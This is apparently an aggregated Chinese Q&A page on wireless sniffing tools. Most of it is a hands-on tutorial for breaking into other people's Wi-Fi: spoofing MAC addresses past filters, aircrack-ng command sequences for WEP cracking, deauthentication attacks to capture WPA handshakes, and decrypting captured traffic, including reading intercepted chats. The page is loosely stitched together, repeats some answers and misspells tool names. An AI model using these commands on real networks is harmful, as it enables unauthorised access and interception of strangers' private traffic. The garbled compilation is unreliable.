1. omnipeek有沒有mac版本
必須要先來ping一下對方，然後在源2分鍾內運行arp －a命令就可以察看對於的MAC地址。如果有發ARP包的話可以直接看到mac地址. 否則就只只能藉助第3方軟體了。比如網路執法官。 10進制換2進制 使用除2取余數倒記的方法
2. windows8系統怎麼破解mac地址過濾
破解無線過濾MAC
首先要找到
WildPackets
AiroPeek
NX軟體所支持監測無線網卡，本文用的是卡王。並下載相應的WildPackets
AiroPeek
NX
所定製的驅動程序。將驅動更改為所定製的驅動程序。
測試目的：破解無線過濾MAC
測試系統：WINXP/SP2
無
線網卡：Cisco
AIR-CB21AG-A-K9
測試軟體：Network
Stumbler、WildPackets
AiroPeek
1.
破解MAC地址前要了解SSID、頻道和密碼（破解SSID和密碼請參考上面）下面步驟和破解SSID差不多。
打
開WildPackets
AiroPeek
NX軟體，單擊WildPackets
AiroPeek
NX
中的
New
Capture
按鈕：
出
來了
Caputer
設置對話框－802.11，設置剛剛Network
Stumbler所嗅測出來的AP所在的頻
段：11，ESSID：cooaoo,Edit
key
sets...輸入所破解到密碼，點確定就進行抓包了。
有
抓到包後，點Wireless
statistics小圖標，就可以看到了。
cooaoo
下面的MAC：00：18：F8：41：7B：33是無線路由的MAC地址，可以在Network
Stumbler看到。
MAC：00：19：D2：4C：C9：8D就是合法的MAC地址了
也
可以點stop
capture查看合法無線客戶端交換數據了，當然可以叢中分析各種東東了，比如MSN聊天內容...
獲得合法無線客戶
端MAC
Windows下可以使用OmniPeek、Wireshark、Ethereal、Aircrack-
ng
for
Windows等工具實現對客戶端MAC的攔截，Linux可用Kismet、Aircrack-ng中的airomp-ng等來實
現。需要注意的是，若目標網路採用WEP或者WPA加密的話，有時需先行破解再對數據包解密方可看到客戶端MAC。
更改MAC來偽造身份
在
Windows下：
方法1：如果你足夠幸運，也許不需要太復雜的方法就可以修改無線網卡MAC，前提是你的無線網卡驅動攜帶了這項功能。可以通過
在對應的無線網卡的屬性選擇網卡配置---高級來查看，若出現「Locally
Administered
MAC
Address」，即可在右側位置輸
入預偽造的MAC，確定即可。
方法2：雖然通過修改注冊表中的相關鍵值，也可以達到修改MAC的目的，但很多時候，使用這款來自台灣的專業MAC
修改工具SMAC會更有效率。
SMAC是一個強大的也是一個易於使用的和直觀的Windows
MAC地址修改應用軟體，它允許用戶為在
Windows
2000、XP和
2003
Server系統上的幾乎任何的NIC轉換MAC地址，而不管這些NIC產品是否允許修改。呵呵，經我測
試，不僅支持有線網卡，還支持無線網卡，甚至藍牙設備地址的修改。實為不可多得的利器
3. 哪位大俠指點一下外網的MAC 地址怎樣查看，比方說我網卡搜到你家的路由器後在未連接的情況下查看MAC地址。
不可能的
能ping通才能看到MAC（arp -a）
但
你ping 一下網路 能通，但arp -a不到它的MAC
因為，經過了路由器，它屏蔽MAC廣播
因此，你只能在他的路由器下（通過他上網）才能看到它MAC
4. 我的台式機(Vista系統)用瑞銀無線網卡上網為什麼能連上網路卻上不了網
你搜索到的網路，應該是你所處環境周圍的無線路由發出的信號
沒有加密並不代表你就可以用
如果，人家路由的DHCP沒開，或者，MAC地址過濾，你就絕對上不了網的！
所以你要弄清具體情況
要是你能夠進路由的管理界面，看看，改動設置，
應該是可以使用的！
但是，這個當然也是需要密碼的！
想免費上還是比較困難，除非你認識無線路由的主人，商量一下！
5. 如何使用omnipeek抓無線報文
DHCP關閉時，需要對網路數據報文進行分析，你在用airomp-ng時不使用--ivs，保存下來的。cap文件就是我們用來分析的材料，這個。cap文件要等對方在線時抓比較好。如果你用分析軟體（omnipeek，科萊，wireshark等）直接打開這個。cap文件，那麼得到的是加密的數據，無法獲得任何有用信息，需要先對其進行解密，很多人就是漏了這步所以才會分析失敗。像omnipeek，wireshark等工具都有選項讓用戶填入密鑰，自動進行解密，這個密鑰就是你辛苦破解出來的成果。也可以用aircrack-ng套件中的工具airdecap-ng來解密數據。解密後你再使用上述的分析工具就能得到結果了。我們的目的是獲取網關、IP地址及DNS，所以關注的目標集中在DNS，ARP這兩種報文上，可以用過濾器過濾出來，通過分析源、目地IP及MAC地址，就能對號入座獲取網關、DNS及IP了。同樣的，如果獲得了WPA的PSK，它的數據也可以解密，獲得明文。
6. 如何獲得合法的mac地址
必須要先ping一下對方，然後在2分鍾內運行arp －a命令就可以察看對於的MAC地址。如果有發ARP包的話可以直接看到mac地址. 否則就只只能藉助第3方軟體了。比如網路執法官。
10進制換2進制 使用除2取余數倒記的方法。2進制換 10進制使用2的n次方（數位為n），積相加的辦法。
例110進制302，302/2 = 151 餘0
151/2 = 75 餘1
75/2 = 37 餘1
37/2 = 18 餘1
18/2 = 9 餘0
9/2 = 4 餘1
4/2 = 2 餘0
2/2 = 1 餘0
故二進制為100101110
二進制轉十進制
從最後一位開始算，依次列為第0、1、2...位
第n位的數（0或1）乘以2的n次方
得到的結果相加就是答案
例2：01101011.轉十進制:
第0位:1乘2的0次方=1
1乘2的1次方=2
0乘2的2次方＝0
1乘2的3次方＝8
0乘2的4次方＝0
1乘2的5次方＝32
1乘2的6次方＝64
0乘2的7次方＝0
然後：1＋2＋0
＋8＋0＋32＋64＋0＝107．
二進制01101011＝十進制107．
7. bt4 u盤破解
BT4 U盤安裝首先說明，此方法只適用於BT4正式版，因為該版的引導方式與其他版本不同。
下面來說說具體步驟：
一、准備工作：（3個軟體在本文章最後提供下載，ISO文件可自己另行下載）
1、bt4-pre-final.iso (系統鏡像)
2、grub4dos （軟體）
3、dos的引導文件（3個，command、io.sys、msdos.sys ）
4、HPUSBFW （惠普的格式化工具）
二、製作步驟：
1、用HPUSBFW軟體,以格式化的方式將DOS引導文件寫入U盤；
2、將grub4dos解壓出來，把裡面的 grldr ， Grub.exe ， menu.lst 這3個文件復制進U盤根目錄；
3、 把 BT4.iso 里的 boot ，casper 這2個文件夾復制到U盤根目錄；
4、用 boot\grub 目錄下的 menu.lst 替換掉U盤根目錄下的 menu.lst 這個文件;
三、測試：
1、開機，進入BIOS，設置為U盤優先啟動，然後保存並重啟；
2、開始時會閃過win 98 的啟動界面，然後進入到DOS；
3、輸入命令「grub」 ，然後按回車鍵，進入到grub引導模式；
4、根據提示和個人需求選擇自己想要的模式；
5、系統載入完畢後，使用用戶名：root， 密碼：toor ；進行登錄；
6、進入到圖形化界面的命令為 startx 。
好了，所有過程都說明白了，大家快開始自己的BT4之旅吧！
附上上面提及到的3個軟體的下載鏈接：
grub4dos
DOS引導文件 （因為是系統文件的緣故，需要把文件夾屬性中的「隱藏受保護的系統文件」前面的勾去掉，這樣就能顯示所有的文件了。）
HP_USB_磁碟存儲器格式化工具_V2.0.6.rar
WEP破解 BT4破解教程詳細解答問題
WEP破解] BT4破解教程詳細解答 花錢買的，無償給大家看，鄙視收費的人
記錄付費主題, 價格:金幣 3 元 1.下載光碟版BT4VM版和虛擬機，製作虛擬啟動BT4。VM版的BT4可 能都集成網卡無用，但對USB網卡支持很好。
2.啟動BT4，選console控制台模式，用戶名root,密碼toor<注意不是root>,再運行startx啟動窗口模式。
另：BT4啟動黑屏問題解決辦法
輸入root toor 登錄系統後在輸入 fixvesa 然後 startx如果不行就輸入 fixvmware,然後輸入startx.還是不能就輸入Xorg -configure 然後startx
我的筆記本是三星R458的，啟動BT4，startx時按住空格可以進入.。
在輸入用戶名root 和密碼toor 以後輸入xconf 這時會黑屏一會，然後出來提示符再輸入startx 可進入
win窗口；當實在不能進入win窗口的時候你也可以直接在提示符下輸入各破解命令，同時可用alt+f1 打開
一個shell，alt+f2 打開第二個shell，alt+f3 打開第三個等。關閉窗口用PRINT SCREEN 鍵
---------------------end---------------------
[] 可選
<> 回顯
/ 或者
() 提示
---------------------WEP---------------------
shell 1:----------------------------------------
1.ifconfig -a
<wlan0 ... xx:xx:xx:xx:xx:xx>
[
macchanger -m 00:11:22:33:44:55 wlan0
<修改自己網卡的MAC 地址。當對方設置了MAC 地址過濾時或為了方便後面輸入>
]
2.ifconfig -a wlan0 up
(可能要載入網卡才支持注入?)
3.airmon-ng start wlan0 6
<monitor mode enabled on mon0>
(6是頻道)
另一說5100要支持注入用airmon-ng start wlan0
如果這里回顯<(monitor mode enabled)> 則下面命令所有埠號要用"wlan0"
[
aireplay-ng -9 mon0 / aireplay-ng --test mon0
<Injection is working/No anwser>(注入攻擊成功/不成功)
(檢測你的網卡是否支持注入)
]
4.airomp-ng -w pack -c 6 mon0/wlan0
(pack是隨便起的獲取的ivs的保存文件的名字)
另一說用airomp-ng --ivs -w pack -c 6 mon0/wlan0
shell 2:----------------------------------------
一、有客戶端：
破解:abcd四種方式
a.合法客戶端產生大量有效的數據，能直接獲得大量cap。
收到10000以上data後，直接轉shell 3,破解密碼
b.合法客戶端只能產生少量數據，就需要注入<-3>攻擊加速產生大量數據。
5.aireplay-ng -3 -b 000000000000(APmac) -h 111111111111(合法客戶端mac) mon0/wlan0(wlan0測試不行)
<Read 11542 packets <got 12587 ARP ...>,send 71524 packets ... 很多類似行>
c.合法客戶端不在通信，注入模式不成功，
用-0 沖突模式強制斷開合法客戶端和ap連接，使之重新連接，
新連接所產生的握手數據讓-3 獲得有效的ARP從而完成ARP注入
5.aireplay-ng -3 -b 000000000000(APmac) -h 111111111111(合法客戶端mac) wlan0
6.aireplay-ng -0 10 -a 000000000000(APmac) -c 111111111111(合法客戶端mac) wlan0
(可能要另開窗)
d.有客戶端，並且客戶端能產生有效arp 數據的另類破解方式
輸入modprobe –r iwl3945
(載入網卡)
輸入modprobe ipwraw
輸入airmon-ng start wlan0 6
現在，只要一個命令就搞定，輸入:
輸入wesside-ng -i wlan0 -v 01:02:03:04:05:06<此格式的APmac>。
<key: 12:34:56:78:90>
二、無客戶端：
5.aireplay-ng -1 0 -a 000000000000(APmac) -h 111111111111(Mymac) mon0
(我成功了)
另一說用aireplay-ng -1 0 -e Kingnet -a (APmac) -h (Mymac) mon0/wlan0
<Authentication successful>
<Association successful>
(建立虛擬偽裝連接)
如果失敗可嘗試降低網卡速率後再試:iwconfig mon0 rate 2M(注意大寫)
破解:abcd四種方式
a.-2 crack mode ---------------
建立虛擬連接後直接用-2交互攻擊模式集合了抓包，提數據和發包攻擊
6.aireplay-ng -2 -p 0841 -c ffffffffffff -b (ap mac) -h (my mac) wlan0
發包成功後可得到足夠的ivs，然後用aircrack-ng破解
b.-3 crack mode ---------------
6.aireplay-ng -3 -b (AP mac) -h (MY mac) mon0
7.用aircrack-ng破解<自己添加的步驟?>
c.-4 crack mode ---------------
-4攻擊模式；製造數據包；-2互動式攻擊模式
6.aireplay-ng -4 -b (APmac) -h (Mymac) mon0
<?yes>
<Saving keystream in replay_dec-0523-075615.xor>
7.packetforge-ng -0 -a (APmac) -h (Mymac) -k 255.255.255.255 –l 255.255.255.255 -y replay-xxx.xor -w myarp
(提取上面xor 文件來偽造一個arp包)
8.aireplay-ng -2 -r myarp mon0
一說用aireplay-ng -2 -r myarp -x 512 mon0
(發現了可利用的myarp的數據包，按y後，立刻注入攻擊。Date瘋漲)
9.用aircrack-ng破解
d.-5 crack mode ---------------
-5碎片攻擊模式；製造數據包；-2互動式攻擊模式
(我成功過)
6.aireplay-ng -5 -b (ap mac) -h (my mac) mon0
<?yes>
<Saving keystream in fragment-1216-201426.xor>
(利用-5 碎片攻擊模式獲得一個可用的包含密鑰是數據文件（xor 文件）)
7.packetforge-ng -0 -a (APmac) -h (Mymac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-xxx.xor -w myarp
(Myarp隨便起的文件名)
<Wrote packet to: myarp>
8.aireplay-ng -2 -r myarp -x 256/512 mon0
<?yes>
(這時，前面的抓包窗口上的data 將迅速增加)
(512是攻擊速度，1024是最大值)
9.採用aircrack-ng 來進行破解
shell 3:----------------------------------------
aircrack-ng *.cap
如果shell 1用了--ivs 參數，則這里用aircrack-ng *.ivs
(我成功了)
另一說用aircrack-ng -n 64 -b APmac pack-01.cap
<KEY FOUND! [......] <ASCII:XXXXX>>
附:
5100用BT4+spoonwep2破解
1.把spoonwep2放在BT4\moles\下,啟動BT4
2.
ln -fs bash /bin/sh
ls -al /bin/sh
<顯示bash為成功,dash為失敗>
3.開spoonwep2，裡面可以找到網卡了,選wlan0進入搜索，但這時不會搜出來什麼，
關閉一下spoonwep2再重啟spoonwep2，
這時網卡項里有一個mon0的，選mon0,driver選normal,mode選unknow victim,選定PO841 replay attack，點擊launch後就等待密
碼的出來(sata數據包到30000個左右)。
(註：論壇中的高手說spoonwep2支持5100AGN網卡注入式破解)
---------------------end---------------------
---------------------WPA---------------------
1.ifconfig -a
<wlan0 ... xx:xx:xx:xx:xx:xx>
2.ifconfig -a wlan0 up
3.airmon-ng start wlan0 6
<monitor mode enabled on mon0>
(6是頻道)
4.airomp-ng -w 12345 -c 6 mon0/wlan0
(保存名為12345.cap)
(-w：寫入文件，-c：截取cap的頻道)
5.aireplay-ng -0 10 -a (ap mac) mon0/wlan0
或者輸入：aireplay-ng -0 10 -a (ap mac) -c (合法客戶端mac) mon0/wlan0(wlan0可能不對)
<18:56:20 Sending 64 directed DeAuth,... 一些類似行>
(-c後面為合法無線客戶端的MAC地址)
(迫使AP重新與已連接的合法客戶端重新握手驗證)
(攻擊幾次後可以做破解嘗試。WPA破解不用等到數據Data 達到幾萬，
因為它只要一個包含WPA握手驗證包就可以了)
Cap數據包破解:
a.暴力破解
6.aircrack-ng -x -f 2 12345*.cap
另一說是用aircrack-ng -z -b (ap mac) 12345*.cap
b.字典破解
6.aircrack-ng -w password.txt 12345*.cap
另一說是用aircrack-ng -w password.txt -b (ap mac) 12345*.cap
(
-w：是字典破解模式
Password.txt是你事先准備好的字典。
技巧：可以在windows 下使用下載的字典工具生產字典，再在BackTrack3 下拷貝到/root 下（aircrack 默認
的工作目錄在/root）。
請注意，破解WPA 密碼的時間取決於密碼難易程度，字典包含程度，內存及CPU 等。多則數小時。
)
c.把CAP數據包拷貝出來在WIN下用WinAircrack 破解
啟動WinAircrack,General-)Encryption type-)wpa-psk,Capturefiles-)12345-01.cap
Wpa-)Dictionary file-)pswd.txt,點右下角Aircrack the key...
<Key Found! [xxxxxxxx]>
d.HASH破解
6.genpmk -f dictionary.txt -d D-LINK.hash -s D-LINK (注意大小寫)
(Windows版本操作步驟與其Linux下版本完全一致)
(
參數解釋：
-f 這里跟上採用的字典
-d 生成的Table文件名稱
-s 目標AP的ESSID
)
7.cowpatty -d D-LINK.hash -r *.cap -s D-LINK
(
參數解釋：
-d 導入WPA PMK Hash Table文件名稱，下圖中為dlink-birth.hash
-r 事先捕獲的WPA握手數據包
-s 目標AP的ESSID
)
---------------------end---------------------
WPA破解，怎麼知道有握手包被截獲？
airomp-ng監視窗右上角有提示:
...... WPA handshake: 00:90:4c:8e:00:65
BT4抓包後，cap文件保存在哪？
輸入ls可以看到啊,默認在root下。
如何獲得合法端mac？
windows下可以使用OmniPeek、Wireshark、Ethereal、Aircrack-ng for Windows等工具實現對客戶端MAC的攔截，Linux可用
Kismet、Aircrack-ng中的airomp-ng等來實現。需要注意的是，若目標網路採用WEP或者WPA加密的話，有時需先行破解再對數據
包解密方可看到客戶端MAC。
前面第一個shell，如下若有station顯示,bb:bb:bb:bb:bb:bb就是合法客戶端mac
BSSID STATION ...
aa:aa:aa:aa:aa:aa bb:bb:bb:bb:bb:bb
如何查找隱藏的SSID？
1.在BT4下先打開一個shell,輸入
airomp-ng 網卡埠
2.打開另一個shell,輸入
aireplay-ng -0 10 -a AP'MAC -c 合法客戶端'MAC 網卡埠
可能這個命令由於頻道不對會出錯,這時就要多重輸幾次(如果不行,就是不是合法客戶端,要再試其它的客戶端),直到提示成功為止
3.然後就可以在上個shell,看到顯示出來的SSID。
8. 無線路由器問題（這個問題不簡單）
192.168.1.100-199
255.25.255.0
192.168.1.1
你在命令行ping192.168.1.1
ipconfig /all
1.最基本，最常用的，測試物理網路的
ping 192.168.0.8 －t ，參數－t是等待用戶去中斷測試
2.查看DNS、IP、Mac等
A.Win98：winipcfg
B.Win2000以上：Ipconfig/all
C.NSLOOKUP：如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.網路信使 （經常有人問的~）
Net send 計算機名/IP|* (廣播) 傳送內容，注意不能跨網段
net stop messenger 停止信使服務，也可以在面板－服務修改
net start messenger 開始信使服務
4.探測對方對方計算機名，所在的組、域及當前用戶名 （追捕的工作原理）
ping －a IP －t ，只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的
5.netstat -a 顯示出你的計算機當前所開放的所有埠
netstat -s -e 比較詳細的顯示你的網路資料，包括TCP、UDP、ICMP 和 IP的統計等
6.探測arp綁定（動態和靜態）列表，顯示所有連接了我的計算機，顯示對方IP和MAC地址
arp -a
7.在代理伺服器端
捆綁IP和MAC地址，解決區域網內盜用IP！：
ARP －s 192.168.10.59 00 －50－ff－6c－08－75
解除網卡的IP與MAC地址的綁定：
arp -d 網卡IP
8.在網路鄰居上隱藏你的計算機 （讓人家看不見你！）
net config server /hidden:yes
net config server /hidden:no 則為開啟
9.幾個net命令
A.顯示當前工作組伺服器列表 net view，當不帶選項使用本命令時，它就會顯示當前域或網路上的計算機上的列表。
比如：查看這個IP上的共享資源，就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋
--------------------------------------
網站服務 Disk
命令成功完成。
B.查看計算機上的用戶帳號列表 net user
C.查看網路鏈接 net use
例如：net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本地的Z盤
D.記錄鏈接 net session
例如：
C:\>net session
計算機 用戶名 客戶類型 打開空閑時間
-------------------------------------------------------------------------------
\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外，還提供325S的分析，計算丟失包的％
11.關於共享安全的幾個命令
A.查看你機器的共享資源 net share
B.手工刪除共享（可以編個bat文件，開機自運行，把共享都刪了！）
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$後有空格。
C.增加一個共享：
c:\net share mymovie=e:\downloads\movie /users:1
mymovie 共享成功。
同時限制鏈接用戶數為1人。
12.在DOS行下設置靜態IP
A.設置靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設置
interface ip>show address
Arp
顯示和修改「地址解析協議 (ARP)」緩存中的項目。ARP 緩存中包含一個或多個表，它們用於存儲 IP 地址及其經過解析的乙太網或令牌環物理地址。計算機上安裝的每一個乙太網或令牌環網路適配器都有自己單獨的表。如果在沒有參數的情況下使用，則 arp 命令將顯示幫助信息。
語法
arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]
參數
-a [InetAddr] [-N IfaceAddr]
顯示所有介面的當前 ARP 緩存表。要顯示指定 IP 地址的 ARP 緩存項，請使用帶有 InetAddr 參數的 arp -a，此處的 InetAddr 代表指定的 IP 地址。要顯示指定介面的 ARP 緩存表，請使用 -N IfaceAddr 參數，此處的 IfaceAddr 代表分配給指定介面的 IP 地址。-N 參數區分大小寫。
-g [InetAddr] [-N IfaceAddr]
與 -a 相同。
-d InetAddr [IfaceAddr]
刪除指定的 IP 地址項，此處的 InetAddr 代表 IP 地址。對於指定的介面，要刪除表中的某項，請使用 IfaceAddr
9. 如何用omnipeek抓取802.11報文
DHCP關閉時，需要對網路數據報文進行分析，你在用airomp-ng時不使用--ivs，保存下來的。cap文件就是我們用來分析的材料，這個。cap文件要等對方在線時抓比較好。如果你用分析軟體（omnipeek，科萊，wireshark等）直接打開這個。cap文件，那麼得到的是加密的數據，無法獲得任何有用信息，需要先對其進行解密，很多人就是漏了這步所以才會分析失敗。像omnipeek，wireshark等工具都有選項讓用戶填入密鑰，自動進行解密，這個密鑰就是你辛苦破解出來的成果。也可以用aircrack-ng套件中的工具airdecap-ng來解密數據。解密後你再使用上述的分析工具就能得到結果了。我們的目的是獲取網關、IP地址及DNS，所以關注的目標集中在DNS，ARP這兩種報文上，可以用過濾器過濾出來，通過分析源、目地IP及MAC地址，就能對號入座獲取網關、DNS及IP了。同樣的，如果獲得了WPA的PSK，它的數據也可以解密，獲得明文。
10. 加密的無線網路能破解嗎
xp下可用WirelessMon+OmniPeek+WinAircrackPack。
方法：1、查看無線網路
查看加密類型為WEP的信號最強的無線網路
2、用WirelessMon探測無線信號的相關信息
記錄如下信息：無線信號的信道（波段，如6，11等），SSID，MAC地址。
3、用OmniPeek捕捉WEP數據包
（1）設置過濾器，關鍵是要設置協議過濾，在彈出的對話框中選擇802.11 WEP Data,最後點擊OK確認，關閉過濾器。
（2）新建一個捕捉任務
常規：選中「持續捕捉」選項，設置保存路徑；設置緩存大小為400MB（100MB－500MB）之間;
802.11：選擇信道通過，建議選擇號碼（選擇之前記錄的波段）；
過濾器：選擇之間設置的過濾器名（打勾）。
最後單擊確定，關閉對話框
（3）開始捕捉
單擊「捕捉1」窗口右邊的「開始捕捉」按鈕。
在捕捉過程中我們可以看到有「接收的包」和「被過濾的包」兩項數據，其中「被過濾的包」就是我們所需要的數據包。
（4）保存數據包，保存為Libpcap格式，因為只有該格式才能被WinAircrackPac軟體識別。
4、用WinAircrackPac軟體破解WEP密碼